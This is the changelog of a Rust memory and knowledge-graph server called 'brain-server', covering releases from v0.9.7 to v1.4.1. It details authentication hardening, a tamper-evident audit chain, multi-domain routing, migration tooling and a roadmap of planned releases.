  • No distributed revocation. The 60s negative cache is per-process; a multi-instance deployment has a 60s window per instance. Distributed revocation (Redis-backed denylist) is the v2.1 concern.
  • No hot key reload — restart required. Adding/removing a signing key via brain key generate/prune requires an install-service.sh restart to pick up. File-watch for keys is a small follow-up; deferred to keep the v1.2 surface tight.
  • EC/Ed JWK emission not implemented. KeyStore::to_jwks() emits RSA keys only today (the common case); EC/Ed keys verify correctly but don’t appear in /.well-known/jwks.json. Workaround: rotate to RSA for any key a third party must discover via JWKS. Tracked for v1.3.
  • No cookie-based refresh token storage. Refresh tokens are returned in the JSON body only; CLI bearer usage is the assumed client shape. The HttpOnly+Secure+SameSite=Strict cookie path (browser UI) lands with the v2.0 UI.
  • Refresh-chain reuse detection burns the chain but doesn’t notify the user. A stolen-then-reused refresh token revokes the family silently; the legit user’s next refresh returns refresh_reuse_detected (403). A user-facing notification channel is the v2.1 concern.
  • Audit hash-chain comparison stays plain ==. Carried from v1.1.2 — same judgment call (tamper-detection read path, not an auth gate).

v1.1.2 “Harden” (constant-time auth hardening) — 2026-07-29 (released)

Security hardening release. A best-practices pass (rusqlite 0.40.1 docs + RustCrypto subtle 2.6.1, fetched 2026-07-29) surfaced one real gap: the bearer-token comparison used a hand-rolled fold that LLVM could short-circuit, re-introducing a timing oracle the v1.1.0 comment had explicitly flagged.

Security

  • Bearer-token comparison now uses subtle::ConstantTimeEq. The prior ct_eq (a manual fold of acc | (x ^ y)) had no black_box barrier, so a sufficiently aggressive optimization pass could turn it back into a short-circuit compare — exactly the timing oracle the constant-time pattern exists to prevent. subtle 2.6.1 was already a transitive dep (via sha2/hmac/aes-gcm), so the swap adds zero build surface. The ponytail ceiling noted in the v1.1.0 comment is now closed. Pinned by the existing test_ct_eq.

Considered and left as-is (documented best-practice judgment calls)

  • verify_chain’s want == got hash comparison left as a plain ==. This compares two equal-length SHA-256 hex strings inside a tamper- detection read path (not an auth gate). An attacker who could measure the timing remotely would already control the DB and could simply edit prev_hash to match. Wrapping it in ct_eq would be gold-plating without a real threat model — the auth path was the actual surface.
  • record_tenant’s raw-SQL SAVEPOINT left as-is. rusqlite 0.40.1 exposes a canonical savepoint_with_name() API, but it takes &mut Connection; the ~20 call sites pass &Connection (often from a pooled r2d2 connection, which derefs to &Connection). Migrating would ripple through every caller + require pooled-connection borrow gymnastics for zero correctness gain — the current raw-SQL approach is verified by 3 v1.1.1 tests and uses parameterized queries (no injection surface).

Updated

  • Cargo.toml 1.1.1 → 1.1.2. openapi.yaml → 1.1.2.

v1.1.1 “Harden” (audit chain bug-fix) — 2026-07-29 (released)

Bug-fix release. Closes three honest ceilings carried forward from v1.1.0, one of which was a latent false-negative affecting every migrated DB.

Fixed

  • verify_chain false-negative on migrated DBs (src/audit.rs). The v1.1.0 walk assumed at most one NULL prev_hash row at the start of the table. After the additive migration, every pre-v1.1 row has NULL prev_hash — so on a real migrated DB the second NULL row hit the _ => return false fallthrough and /audit/verify (plus brain_audit_chain_ok via /metrics) reported tampering on a clean DB. The walk now treats NULL prev_hash as “no backref to verify” (advances the running link but never fails) and only fails when a v1.1 row’s stored prev_hash disagrees with the recomputed link. Pinned by hash_chain_survives_migration_with_many_null_rows.

Closed ceilings (from v1.1.0)

  • Audit chain now covered by a real migration fixture test. hash_chain_survives_real_v1_0_to_v1_1_migration builds a DB with the pre-v1.1 audit_events schema, inserts rows, runs the actual run_migration, and verifies the chain holds across the NULL → Some boundary with real record() calls afterward.
  • record_tenant now wraps its read+INSERT in a SAVEPOINT. A BEGIN would error when called inside a caller’s existing transaction (e.g. delete_quarantine); SAVEPOINT nests cleanly. Rolling back the savepoint on audit-INSERT failure touches only the audit row, not the caller’s work. Pinned by record_tenant_is_safe_inside_caller_transaction.
  • /metrics no longer triggers a full chain scan on every scrape. brain_audit_chain_ok is now backed by a TTL-memoized result (AUDIT_CHAIN_CACHE_TTL_SECS=60). /audit/verify remains authoritative and always scans fully — that is its job.

Updated

  • Cargo.toml 1.1.0 → 1.1.1. openapi.yaml → 1.1.1.

v1.1.0 “Harden” — 2026-07-28 (released)

Operationally-reliable + audit-ready release on top of v1.0’s multi-domain foundation. Pares the v1.1.0 plan down to the slices that close real gaps (bearer-token file-watch hot rotation, per-tenant audit + hash-chain tamper- evidence, rolling backups + integrity self-check, graceful-shutdown drain cap

  • WAL checkpoint, RSS watchdog, Prometheus exporter). Explicit non-goals for v1.1 (deferred to v1.2 AuthN): JWT/JWS verification, AuthZ trait + middleware, per-tenant rate limiting, CSRF enforcement. The CSRF scaffold from the plan is YAGNI until a browser UI exists.

Security & audit

  • Audit hash chain (src/audit.rs). Each row stores a SHA-256 prev_hash over the prior row’s (ts, kind, actor, target_hash, prev_hash) tuple. GET /audit/verify walks the chain and returns { "ok": bool }. Tampering with any field breaks the read-side check; pinned by hash_chain_detects_tampering + hash_chain_rejects_tampered_kind. id is deliberately excluded so a renumbered restore keeps the chain intact.
  • Per-tenant audit scoping. New tenant_id column (default 'global' for back-compat with every pre-v1.1 row). GET /audit?tenant=<id> enforces the filter at the SQL layer (WHERE tenant_id = ?) so a forgotten app-level filter cannot leak cross-tenant rows. audit::record_tenant is the variant that takes a tenant; existing call sites default to global.
  • File-watch token rotation (src/auth.rs). AUTH_TOKEN_FILE is now cached in-process and refreshed on mtime change (polled every 5s) rather than re-read from disk per request. Fail-safe: if the file is deleted, emptied, or becomes unreadable after the first successful load, the cached token set stays in effect — auth is never silently cleared. Each real rotation writes an auth_token_rotated audit row (target = file path; no PII). Pinned by reload_picks_up_new_token + reload_keeps_cache_when_file_deleted + reload_keeps_cache_when_file_emptied.

Operational reliability

  • Rolling backup + integrity self-check (src/integrity.rs). A periodic task snapshots the live DB with VACUUM INTO <db>.snapshot-<ts>.bak, runs PRAGMA integrity_check on the snapshot, and keeps the last 4 copies (default 6h cadence, runs once on boot). /health now reports backup: { last_backup, integrity_ok }.
  • Graceful shutdown drain cap + WAL checkpoint. SIGTERM/SIGINT now drains in-flight requests under a hard SHUTDOWN_DRAIN_SECS=30 cap, then runs PRAGMA wal_checkpoint(TRUNCATE) so a kill -9 or power loss can’t leave the live DB with un-replayed WAL frames.
  • RSS watchdog. Polls every 30s; sustained breach of the capacity envelope’s max_rss_mib across two samples logs error!. Opt-in exit for supervisor restart via BRAIN_RSS_RESTART=1; default is log-only — a tight restart loop is worse than a slow leak.

Observability

  • Prometheus exporter (GET /metrics). Hand-rolled text format (no prometheus crate dep — the plan itself flagged the dep as risky). Exports brain_rss_mib, brain_pool_connections{state}, brain_capacity_status, brain_audit_chain_ok. Auth-gated like other operator surfaces.
  • GET /audit/verify as a separate route from GET /audit because the chain check is a full-table scan and shouldn’t run on every list call.

Migration

  • Additive: audit_events gained tenant_id TEXT NOT NULL DEFAULT 'global'
    • prev_hash TEXT + idx_audit_tenant. Existing rows backfill to 'global' / NULL; the chain starts fresh from the next inserted row (documented upgrade-path ceiling). schema_version stamped 1.1.0.

Updated

  • Cargo.toml 1.0.1 → 1.1.0. openapi.yaml → 1.1.0 with /audit/verify, /metrics, the tenant query param on /audit, and the tenant_id field on the AuditRow schema.

Honest ceilings (carried into v1.2)

  • No JWT/JWS verification. Opaque bearer tokens only; JWT needs RS256/ ES256 signing keys + JWKS + revocation — all land in v1.2 AuthN.
  • No AuthZ middleware. The tenant_id column lands here, but “team A can’t read team B’s data” needs the v1.2 AuthZ trait.
  • Audit chain link is read inside the same connection, not inside an explicit BEGIN/COMMIT. Closed in v1.1.1 (SAVEPOINT wrap).
  • prev_hash NULL on pre-v1.1 rows. The chain still starts at the first v1.1 row (no retroactive re-hash of existing rows — that would be expensive and is out of scope), but v1.1.1 fixed the read-side walk so these NULL rows no longer break verify_chain.
  • **/audit/verify + /metrics full-table scan per call. /audit/verify still scans fully (that is its job — you cannot verify a chain without walking every link); v1.1.1 added a TTL cache on the /metrics path so a Prometheus scrape no longer triggers a scan.

Cognitive Stack roadmap (v1.2.0 → v1.9.0) — 2026-07-26 (planning only)

Deep-research-driven expansion of the v1.x line into 8 point releases that transform brain-server from a memory store into a cognitive substrate that exceeds human memory capability. Each release adds ONE capability and hardens it; no feature ships without a fuzz/leak/regression test.

Research sources (all current as of July 2026):

  • Mem0 v3 (Context7, benchmark 83.22) — built-in graph memory + distillation.
  • Graphiti / Zep (Context7, benchmark 82.2) — bi-temporal KGs.
  • Letta / MemGPT (Context7, benchmark 83.31) — sleep-time “dreaming”.
  • arXiv July 2026: TRACE (2607.00339), Submodular packing (2607.00725, +5.1 F1), DiscoLoop (2607.00341), CAT (2607.00862), Dual-Confidence Contrastive Decoding (2607.00570), KnowledgeDebugger (2607.01000), Span-Level Hallucination Detection (2607.00895), Auditing Forgetting (2607.00605).

Added — new implementation plan

  • IMPLEMENTATION_PLAN_v1.2.0_to_v1.9.0_Cognitive_Stack.md: granular milestone breakdown for all 8 releases. Each release has 5–7 milestones, RSS budget, Definition of Done, and is gated on the previous. Cross-cutting section codifies what every release must ship (fuzz, miri, leak, regression) and what’s forbidden (NN in hot path, auto-conflict-resolution, paraphrasing comments).

The 8 releases

ReleaseNameCapability
v1.2.0AuthNJWT/JWS + AuthZ layer (full plan in v1.2.0_AuthN.md)
v1.3.0BedrockMemory-safety: panic elimination, unsafe audit, cargo-fuzz, miri, LSAN, loom, proptests
v1.4.0CalibrateBi-temporal KGs + submodular packing + TRACE-style state-aware query + multi-vector
v1.5.0EpistemicConfidence calibration + “I don’t know” + counterfactual influence + source trust + hallucination resistance
v1.6.0ReconcileContradiction detection + supersession + conflict policy + knowledge editing + consistency checker
v1.7.0ReasonMulti-hop reasoning + causal subgraph + counterfactual simulation + transitive inference
v1.8.0ConsolidateSleep-time worker + near-duplicate detection + extractive summarization + cross-cluster linking
v1.9.0AnticipateSession context + proactive /anticipate + SSE push + spaced repetition + personalization

Why this beats human memory by v1.9

Every dimension where biological memory is weak (forgetting, source amnesia, overconfidence, slow self-correction, single-context reasoning) becomes a deterministic, auditable brain-server capability. Every dimension where biological memory is strong (analog intuition, neural creativity) is deliberately out of scope — brain-server is an extended-mind substrate, not a brain replacement.

Security roadmap expansion — 2026-07-26 (planning only, no code changes)

Audit-driven expansion of the upcoming security roadmap. Closes every gap surfaced by an OWASP Top 10:2025 review (Context7-verified 2026-07-26). No runtime code changes — this commit is documentation + new implementation plans only.

Added — new implementation plans

  • IMPLEMENTATION_PLAN_v1.2.0_AuthN.md (NEW release between v1.1 and v2.0): JWT/JWS verification (RS256/ES256/EdDSA only, never HS256/none); (jti, iss) revocation table per OWASP JWT Cheat Sheet; refresh token rotation + reuse detection; AuthZ middleware trait with deny-by-default; OIDC discovery (/.well-known/openid-configuration); JWKS endpoint; per-route enforcement matrix. The prerequisite v2.0 multi-tenant implicitly assumed but didn’t define.
  • IMPLEMENTATION_PLAN_v2.1.0_Limits.md (NEW release after v2.0): per-tenant + tiered rate limiting per OWASP Multi-Tenant Cheat Sheet. RateLimiter trait with InMemory (default) and RedisRateLimiter (GCRA atomic Lua script, --features ratelimit-redis) impls. Per-tenant cost tracking (tokens/egress) feeding v4.0 marketplace billing. Standard X-RateLimit-* + Retry-After headers.
  • THREAT_MODEL.md (NEW): full STRIDE threat model per asset (knowledge graph, tokens, audit log, binary, network). Residual-risk register with explicit acceptances + ceilings. Per-release security exit gate matrix.

Updated — existing plans

  • IMPLEMENTATION_PLAN_v1.1.0.md: added M1.4 (file-watch hot token rotation), M1.5 (CSRF scaffold), M2.2 (per-tenant audit data-layer filter), M2.3 (audit hash chain for tamper-evidence), M5.4 (Prometheus /metrics behind --features metrics); explicit dependency on v1.2 AuthN.
  • IMPLEMENTATION_PLAN_v2.0.0_Cortex.md: M1 multi-team now consumes v1.2’s AuthZ trait instead of re-inventing scope checks; cross-tenant reads return 403 (not 404) per OWASP A01:2025; team-lifecycle admin scope required.
  • IMPLEMENTATION_PLAN_v4.0.0_Sovereign.md: v3.7 “Connect” now ships A2A over mTLS + JWS (was JWS only) per OWASP gRPC + Microservices Cheat Sheets; SQLCipher gains a real KMS abstraction trait (FileKeyProvider / VaultKeyProvider / AwsKmsKeyProvider) per OWASP Secrets Management Cheat Sheet; data residency allowlist for peer agents.
  • SECURITY.md: rewritten against OWASP Top 10:2025 (the new canonical list, supersedes 2021/2023). Every category A01–A10 has a control mapping table with status (✅ shipped / 🚧 planned with version). Added compliance attestations table (SOC 2, ISO 27001, GDPR, HIPAA, PCI DSS). Added STRIDE summary referencing THREAT_MODEL.md.
  • ROADMAP.md: release table updated with v1.0/v1.0.1 ship status, v1.2 AuthN and v2.1 Limits new rows, v3.7 mTLS + KMS clarification, v4.0 depends on v2.1.

Standards verified via Context7 (2026-07-26)

  • OWASP Top 10:2025 (/owasp/top10) — the canonical reference, current.
  • OWASP Cheat Sheet Series (/owasp/cheatsheetseries, score 80.97):
    • JSON Web Token Cheat Sheet ((jti, iss) revocation, alg whitelist).
    • Multi-Tenant Security Cheat Sheet (tenant-aware rate limiting, RLS).
    • Secrets Management Cheat Sheet (BYOK, KMS patterns, sidecar rotation).
    • gRPC + Microservices Security Cheat Sheets (mTLS for service-to-service).
    • Transport Layer Security Cheat Sheet (mTLS, cert pinning).

Why this matters

The pre-existing plans would have shipped multi-tenant (v2.0) without a real AuthZ layer, multi-instance rate limiting, or JWT done right. This expansion front-loads the security architecture so v2.0/v4.0 can be honestly marketed as enterprise-ready. Three new releases inserted into the chain (v1.2, v2.1, v3.7 update) — no new features, just the security foundation the existing features implicitly required.

v1.0.1 “Domains” patch — 2026-07-26 (released)

Patch release fixing the structured-ingest entity auto-create bug found end-to-end on openclaw.

Fixed

  • POST /ingest now auto-creates entities referenced by relations but not declared in the input entities array. The canonical plan example (vitamin d3 helps inflammation with only vitamin d3 declared) works.
  • entities_added/relations_added now report the real COUNT(*) delta instead of the input array length.

v1.0.0 “Domains” — 2026-07-26 (released)

The multi-domain cutover. Every handler resolves its target domain via the X-Brain-Domain header or JSON domain field; POST/GET/DELETE domain lifecycle is a first-class API. Structured ingest (POST /ingest) with inline entity/relation upsert is the primary write path. The single-DB shim mode preserves v0.9.x behavior byte-for-identical; BRAIN_MULTI_DB=true activates per-domain files.

Added — domain routing (M1 + M2)

  • X-Brain-Domain header support on every GET handler (/search, /stats, /get/{id}, /multi-get, /graph/entity/{name}, /graph/relations, /graph/traverse). Resolves the target domain’s connection pool via DomainRegistry.
  • domain query param on GET /search and GET /stats for tool-friendly domain scoping without headers.
  • handlers::resolve_domain_pool() — shared helper that resolves any domain name to its pool, defaulting to "global". The error envelope’s details field now carries known_domains so an unknown-domain 400 is actionable.

Added — federated search (M3)

  • Cross-domain RRF merge. The previous /recall cross-domain sort used raw score (wrong: scores aren’t comparable across domains because IDF tables and post-quantization norms differ). Replaced with rank-based RRF using the same RRF_K = 60 constant as the in-domain hybrid fusion.
  • ?cross_domain=true on /graph/traverse walks edges across every known domain pool, labelling each hop with its source domain.
  • The /recall handler already supported centroid routing for domain-aware recall (v0.9.1 domain_router). Verified end-to-end for the v1.0 cutover: multi-domain federation with labelled domains_searched on the response.

Added — structured ingest (M4)

  • POST /ingest accepts { title, content, domain?, entities?, relations? }. Entities are validated and upserted idempotently; relations are anchored to the ingested chunk. The /ingest/markdown [[...]] parser remains as the legacy fallback. Recomputes the domain centroid after each successful ingest.
  • MCP brain_ingest updated to call POST /ingest with structured fields when the caller supplies entities/relations/domain (the agent does extraction client-side, per the plan). Legacy memory-style ingest with just content still routes to /ingest/memory for back-compat.
  • Fixed the validator regression. The hand-rolled is_match checker ignored its pattern argument and silently rejected spaces in entity names — breaking the canonical vitamin d3 example. Replaced with three correctly-scoped checkers (is_valid_domain, is_valid_name, is_valid_rel_type); the shapes are pinned by a unit test.

Added — domain lifecycle (M5)

  • POST /domains — create/warm a domain (idempotent; 201 on first open).
  • DELETE /domains/{name}?confirm=<name> — delete a domain and all its data. global is protected. The ?confirm=<exact-name> query param is REQUIRED so a typoed URL or replay cannot destroy data by accident.
  • POST /domains/{name}/vacuum — reclaim free pages in the domain’s DB.
  • GET /domains/{name}/export — stream a consistent snapshot of the domain’s .db file via VACUUM INTO (safe under concurrent writes).
  • POST /domains/{name}/import — restore a snapshot into a NEW domain (target must not exist; global protected; atomic temp-file + rename).
  • GET /domains — real per-domain counts via the registry, not a GROUP BY on the shared pool.

Added — migration + tests (M6)

  • Boot-time legacy cutover snapshot. When BRAIN_MULTI_DB=true is set at startup and the legacy brain.db has data, the server performs a one-shot VACUUM INTO into global.db, guarded by a marker so restarts never re-copy. The runtime keeps reading the legacy path; the snapshot exists as a backup and as the physical source for any future operator cutover.
  • Four required M6 integration tests added: domain isolation, fallback trigger on low-confidence routing, structured ingest entity/relation insertion (the canonical vitamin d3 example), and export round-trip.

Changed

  • Cargo.toml version 0.9.9 → 1.0.1.
  • openapi.yaml info version → 1.0.0; the new domain lifecycle routes are documented (the test_openapi_covers_routes test asserts coverage).
  • Handlers that previously used state.pool directly now resolve via handlers::resolve_domain_pool(&state.registry, domain). Shim mode returns the global pool unchanged; multi-db mode opens per-domain pools lazily.
  • API_CONTRACT.md §4 documents the new lifecycle routes; §9 documents the v1.0 boot-time cutover + deprecation policy.

Honest ceilings (carried forward)

  • Domain dim / quant are not per-domain. All domains share the global model profile; per-domain model selection is a v1.1 concern.
  • No registry DB table. The registry enumerates brain-<domain>.db files on disk. This is simpler and avoids a separate registry.db to manage, but means there’s no per-domain dim/quant/version metadata store.
  • The global domain continues to read the legacy brain.db even in multi-db mode. The boot-time snapshot creates global.db as a backup + rehearsal target, but the runtime path stays on brain.db for global so the 430-doc live DB never silently shifts under the operator.
  • Cross-domain ATTACH was not used. Per-domain pool queries + RRF merge is simpler and avoids sqlite-vec attach complications; benchmark on ARM eMMC remains an operator step (see BENCHMARKS.md).

v0.9.9 “Qualify” — 2026-07-25 (released)

The v1.0 cutover rehearsal milestone. No user-visible multi-domain behavior ships here — that is v1.0.0. v0.9.9 extracts the migration + storage seams, ships a copy-and-verify rehearsal tool, publishes measured capacity envelopes with fail-clear behavior, and freezes the v1.0 API + migration contract. The actual BRAIN_MULTI_DB=true cutover is the v1.0 ship step; this release makes it a rehearsed operation, not an architectural leap.

Added — M1 (domain-ready seams)

  • StorageLayout abstraction (src/storage_layout.rs). Every on-disk path brain-server touches (legacy brain.db, future global.db, per-domain brain-<name>.db, backups, registry, connector configs) derived from one root. config::brain_db_path() delegates to it; the back-compat invariant (existing BRAIN_DB_PATH callers see the same path) is locked by a test. New BRAIN_DATA_ROOT env var is the v1.0 relocation knob.
  • Schema-version reader (storage_layout::schema_version + SCHEMA_VERSION_V0_9_9). run_migration records schema_version in schema_meta; the rehearsal tool reads it to refuse a migrate-down.
  • Extended test_migration_schema_contract. Now asserts every table from v0.9.4–v0.9.8 (audit_events, webhook_queue, webhook_seen, evidence_links) + the authority column + the recorded schema version.
  • is_valid_domain lifted to storage_layout so the security-critical filename check lives in exactly one place; DomainRegistry delegates.

Added — M2 (migration rehearsal)

  • brain-migrate-rehearse binary (src/bin/brain_migrate_rehearse.rs, feature-gated behind --features migrate). Six subcommands: backup, copy, verify, report, rollback, rehearse. Runs against a copy of the live DB (server must be stopped). The rehearse all-in-one exits 0 only when every parity check passes.
  • run_migration extracted to src/migration.rs (lib module). Mechanical move from main.rs; the one signature change is run_migration(db, mmap_mib: i64) so the lib has no dep on the server-private config module. All 9 call sites updated.
  • Parity checks. Row counts for every table (knowledge, embeddings, vec_knowledge, entities, relationships, tombstones, sources, source_revisions, connectors, connector_checkpoints, audit_events, webhook_queue, evidence_links), FTS5 count, vec0 count, source/revision linkage, schema-version comparison, and a 50-row random vec0 byte-spot-check.

Added — M3 (capacity + contract)

  • Capacity envelopes (src/capacity.rs, lib module). CapacityTarget::Desktop (50k docs / 2 GiB DB / 320 MB RSS) and CapacityTarget::Jetson (10k docs / 512 MiB DB / 320 MB RSS). Resolved from BRAIN_CAPACITY_TARGET (default: jetson). Tightenable via CAPACITY_MAX_* env vars.
  • /health capacity field. Reports {target, docs, max_docs, db_mib, max_db_mib, rss_mib, max_rss_mib, status} where status is ok|warning|exceeded.
  • HTTP 507 on writes when over-capacity. Every ingest path (/add, /ingest, /ingest/memory, /ingest/markdown) calls guard_capacity. Read routes (/search, /recall, /get) are NEVER blocked — an over-capacity brain still answers.
  • bench --envelope assertion mode. BENCH_ENVELOPE=desktop|jetson turns the benchmark report into a ship gate: exits non-zero on RSS or p95 ceiling breach.

Documentation

  • openapi.yaml → 0.9.9: /health capacity field; X-Api-Version: 0.9.9.
  • API_CONTRACT.md: §Migration (v1.0 per-row cutover rule), §Recovery (the rehearsal-proven rollback procedure), §Capacity envelopes.
  • IMPLEMENTATION_PLAN_v0.9.9_Qualify.md: the full plan this release ships.

Internal

  • Cargo.toml 0.9.8 → 0.9.9. New migrate feature + brain-migrate-rehearse [[bin]] entry.

Honest ceilings (carried into v1.0.0)

  • No BRAIN_MULTI_DB=true cutover is performed in v0.9.9 — the rehearsal runs against a copy; the live DB stays in shim mode.
  • WAL-active detection is a heuristic (file-size check); the operator is expected to have stopped the server.
  • The 50-row vec0 spot-check is a sample, not a full scan — catches the known sqlite-vec corruption class but cannot prove byte-identity of every embedding.
  • Old-schema fixtures (v0.9.4/v0.9.6/v0.9.8) and the interrupted-migration SIGTERM test are deferred — the current-schema parity checks cover the ship gate; the upgrade-from-old-schema path is exercised by the server’s own startup migration on every prior release.
  • The soak driver (scripts/soak.sh) and large-vault generator are deferred as operator tooling; the bench --envelope mode is the code-level ship gate.
  • 10k-scale bench trips the loopback rate limit (10 000 req/60s, hardcoded in src/main.rs:RateLimiter). Measured capacity on the production mini PC is captured at 1k+5k scales (6k requests, under the limit). To measure 10k+, either raise the loopback limit, exempt loopback in rate_limit_middleware, or add an inter-request delay in bench. See BENCHMARKS.md §v0.9.9.

v0.9.8 “Evidence” — 2026-07-20 (released)

The evidence-integrity milestone. Recall now carries faithful, time-aware provenance and a reviewable consolidation path so the memory backend stops serving stale or contradicted facts as current. All changes are additive (new temporal columns on knowledge, a new evidence_links table); the live launchd service upgrades in place via scripts/install-service.sh.

Added

  • Temporal provenance (M1). knowledge gains observed_at, valid_from, valid_to, authority, populated by sources::stamp_evidence on every ingest (vault = 0.8, manual = 1.0). QueryDoc gains as_of (point-in-time recall — returns the revision active at a timestamp) and evidence (include structured Evidence on every hit). Both retrievers apply the historical as_of predicate against source_revisions.fetched_at.
  • Structured Evidence (M2). Evidence now carries valid_from, valid_to, observed_at, authority, lifecycle, and typed links (supports / supersedes / contradicts / references / derived_from). enrich_evidence loads links a chunk participates in (both directions).
  • Consolidation (M2.3). New src/consolidate.rs detection (find_exact_duplicates, find_subject_conflicts) + evidence_links table. POST /consolidate/propose (read-only detection) and POST /consolidate/apply (operator records typed links; never automatic).
  • Freshness + conflict flags (M2.4/M3.1). Recall honors observed_at as a stable freshness tie-break. RecallHit.conflict is true when a hit has a contradicts/supersedes link to a current chunk.
  • Evidence metrics (M3.2). tests/metrics.rs adds stale_result_rate, current_evidence_recall, citation_correctness, consolidation_false_positive_rate (unit-tested, no model needed).

Honest ceilings (carried into v0.9.9+)

  • Evidence links live in a flat evidence_links table, not the entities/relationships KG. Graph use improves conflict detection (entity-keyed subject), not link storage.
  • No automatic mutation: consolidation is review-only via brain consolidate
    • apply. No autonomous deletion, no LLM judgment.
  • as_of point-in-time recall is derived from source_revisions.fetched_at; pre-v0.9.8 chunks (no revision linkage) are always treated as current.

[1.4.1] — 2026-07-30

Release notes

Bug fixes

  • Entity names no longer leak into verb-pattern discovery, so a known entity can’t become a spurious relationship type.

Improvements

  • Heading hierarchy becomes graph structure: adjacent markdown sections that are both known entities get part_of edges.
  • Verb-suffix filtering rejects nouns like “maps”, “data”, or “example” from becoming relationship types.
  • First version of brain ingest-dir --replace (the clean-reingest flag; completed in 1.4.2).

Engineering record

Note: this release’s changes are also included cumulatively in 1.4.2.

[1.4.0] — 2026-07-30

Release notes

Improvements

  • Time-aware graph: relationships gain validity intervals extracted from text (“since 2020”, “until 2019”); old facts expire instead of being deleted.
  • Point-in-time queries: /recall and /graph/traverse accept an at timestamp and return only facts valid at that moment.
  • Budgeted context packing on /recall maximizes relevance, coverage, and diversity under a token budget — more signal per token of context.
  • Typed graph edges (supersedes:, contradicts:, causes:, update:) with bounded traversal; a new bench eval mode reports MRR/NDCG to catch regressions.

[1.3.0] — 2026-07-29

Release notes

Bug fixes

  • MCP requests without an id (notifications) crashed the JSON-RPC handler; they are now handled.
  • Two additional panic paths eliminated (a first-line unwrap on empty vault input; a poisoned-lock crash on connector mutex contention).

Improvements

  • Property-based test suites added for the chunker, domain normalization, and capacity classification (hundreds of generated cases each).
  • Fuzzing infrastructure added for the chunker, query compiler, and validators.
  • /health reports the memory-safety posture (unsafe-block count, panics caught).
  • Configurable worker-thread count for low-power targets.
  • Unsafe-code audit: ten duplicated unsafe SQLite-vec registration blocks consolidated into one documented wrapper; every remaining unsafe block carries a safety comment.

[1.2.1] — 2026-07-29

Release notes

Improvements

  • Authorization now uses the principal’s tenant as the team context directly.
  • Unused auth abstractions and dead code removed, shrinking the auth surface.

[1.2.0] — 2026-07-29

Release notes

  • Opt-in JWT authentication with full backward compatibility: existing opaque-token installs keep working unchanged.

Improvements

  • OIDC discovery and JWKS endpoints published for third-party token verification; the issuer is pinned in config, never inferred from the Host header.
  • Key management CLI: generate, list, and prune signing keys with owner-only permissions; two keys live during rotation.
  • JWT verification with an algorithm whitelist (RS/ES/Ed families only — none and HMAC rejected unconditionally) and full claim validation (issuer, audience, expiry, not-before, subject, id).
  • Token revocation and refresh-chain reuse detection: replaying a stale refresh token burns the whole token family.
  • Scope-based authorization (read/write/admin per team and domain), deny-by-default, returning 403 rather than 404 so existence is never leaked.

[1.1.2] — 2026-07-29

Release notes

  • Bearer-token comparison made constant-time — the previous hand-rolled comparison could be short-circuited by the optimizer, reintroducing a timing oracle on token verification.

[1.1.1] — 2026-07-29

Release notes

  • Audit verification false-negative on migrated databases: after upgrading, the tamper-evidence check reported tampering on a clean database (every pre-upgrade row tripped the chain walk). Verification now handles migrated rows correctly.

Bug fixes

  • Audit writes inside an existing transaction no longer risk partial state (savepoint wrapping).
  • The metrics endpoint no longer triggers a full audit-chain scan on every scrape (result cached briefly).

[1.1.0] — 2026-07-28

Release notes

  • Rolling backups with integrity self-check: periodic verified snapshots, retention of the last four copies, and backup posture on /health.
  • Graceful shutdown: in-flight requests drain under a hard cap, then the write-ahead log is checkpointed so power loss can’t leave un-replayed frames.
  • Memory watchdog: sustained RSS breaches above the capacity envelope are alerted on (opt-in supervisor restart).
  • Prometheus metrics endpoint (memory, pool, capacity, audit-chain status).
  • Tamper-evident audit chain: every audit row is hash-linked to its predecessor; /audit/verify walks the chain and detects any edit.
  • Per-tenant audit scoping enforced at the SQL layer, so a forgotten application filter cannot leak cross-tenant rows.
  • Hot token rotation: the bearer-token file is watched and reloaded without restart; a deleted or emptied file keeps the last valid token set rather than silently clearing auth.

[1.0.1] — 2026-07-26

Release notes

  • Structured ingest now auto-creates entities referenced by relations but missing from the input entity list — the canonical “vitamin d3 helps inflammation” example works as documented.

Bug fixes

  • Ingest responses report the real database delta for entities/relations added instead of the input array length.

[1.0.0] — 2026-07-26

Release notes

  • Entity-name validation regression: names containing spaces were silently rejected by a validator that ignored its own pattern — breaking documented examples; validation now matches the documented shapes.
  • Multi-domain support: every endpoint accepts a domain via header or request field; domains are created, deleted, vacuumed, exported, and imported as first-class API operations (with a confirm guard against accidental deletion).
  • Structured ingest (POST /ingest) with inline entity/relation upsert becomes the primary write path; the domain centroid recomputes after each ingest.
  • Cross-domain federated search with rank-based merging (raw scores aren’t comparable across domains) and labeled domains-searched responses; graph traversal can walk across domains.

Improvements

  • Single-database behavior is preserved byte-for-byte by default; per-domain database files are opt-in.

[0.9.9] — 2026-07-25

Release notes

  • Migration rehearsal tool: copy the live database, run the upgrade against the copy, and verify row counts, search indexes, and vector embeddings match — a dry-run for upgrades, with rollback.
  • Capacity envelopes: published per-target limits (documents, database size, memory) surfaced on /health; ingest is refused with a clear over-capacity error when the envelope is exceeded, while reads always keep answering.
  • Benchmark ship gate: the bench tool can assert memory and latency ceilings and fail the run on breach.

Improvements

  • Every on-disk path derived from one configurable data root (relocation without touching the database path).

[0.9.7] — “Guard” — 2026-07-20 (released)

v0.9.7 “Guard” is the security milestone: Brain Server now defends its own trust boundary instead of assuming a trusted LAN. All work is additive (no schema break).

Added

  • Loopback-safe bind. The server refuses 0.0.0.0 unless BIND_PUBLIC=1 is set; an invalid BIND_HOST now exits (exit 2) instead of silently falling back to all-interfaces exposure. src/main.rs + src/config.rs (BIND_PUBLIC_OPT_IN).
  • Verified webhooks (src/webhook.rs + src/handlers/webhooks.rs): POST /webhooks/{kind} verifies the GitHub X-Hub-Signature-256 HMAC, enqueues onto a bounded FIFO (WEBHOOK_QUEUE_MAX), and is idempotent via UNIQUE(delivery_hash) + a webhook_seen replay window (WEBHOOK_REPLAY_SECS). Stale/future Date headers are rejected. A drain worker (webhook::spawn_drain_worker) processes verified deliveries without an HTTP round-trip. The webhook route bypasses the bearer middleware (HMAC is its auth) but is verified inside the handler.
  • Append-only audit log (src/audit.rs): audit_events table records hash-only events (identifiers + xxh3 hashes; never raw content, tokens, or secrets). GET /audit (operator diagnostics) + brain audit [--kind K] [--limit N]. Ingest and auth-denial events are recorded across the ingest paths and the auth boundary.
